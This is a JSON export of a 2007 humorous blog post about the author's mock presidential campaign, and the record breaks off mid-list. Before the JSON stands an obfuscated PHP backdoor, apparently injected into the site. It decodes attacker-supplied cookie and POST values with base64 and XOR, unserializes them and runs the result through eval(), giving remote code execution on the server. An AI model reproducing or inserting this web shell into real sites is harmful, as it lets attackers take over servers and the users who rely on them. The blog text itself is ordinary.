$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":203,"date":"2007-11-18T18:15:13","date_gmt":"2007-11-19T00:15:13","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=203"},"modified":"2007-11-18T18:31:56","modified_gmt":"2007-11-19T00:31:56","slug":"shea-for-president","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=203","title":{"rendered":"Shea for President"},"content":{"rendered":"

A little more than three years ago, I laid out a bold plan for a Shea presidency. I had just turned 35, and the election was just about a month away when I threw my hat in the ring.<\/p>\n

As you can tell, the people ignored my progressive agenda. They didn’t care about free ice cream cones for children, the elimination of all televisions under 30 inches, and a national edict for pizza at dinner every Friday.<\/p>\n

That has not fazed me. This time, I will have just under a year to spread the word about why I should be the next resident of 1600 Pennsylvania Avenue.<\/p>\n

At least I think I want to live there. I might commute. That would probably be bad policy with the insane gas prices, but I really enjoy listening to the radio in the morning. Plus, I have put some work into the basement here that I wouldn’t want to go to waste.<\/p>\n

We could use our house as sort of a vacation home, but it doesn’t sound impressive when the President drives two hours to get away from work. Plus, we don’t have a compound or anything, and I think the Constitution requires that or a ranch for your second home.<\/p>\n

Anyway, I have a lot of time to decide all that stuff. I have a lot of important promises I need to make to the people before I start worrying about the details.<\/p>\n

I will promise that you will know everything about me. I already told the world about the time I tumbled down Federal Hill in Baltimore. You won’t have to worry about secret backroom deals because I have a serious inability to keep my mouth shut.<\/p>\n

And that will make the press conferences much more fun, especially when I go into a tangent about what I watched on TV the night before. I won’t ignore important things like foreign policy, but more people are probably interested in my take on the latest episode of “Kid Nation” more than some treaty with France or Japan.<\/p>\n

Here are a few other things I will set out to do after I win the election next year:<\/p>\n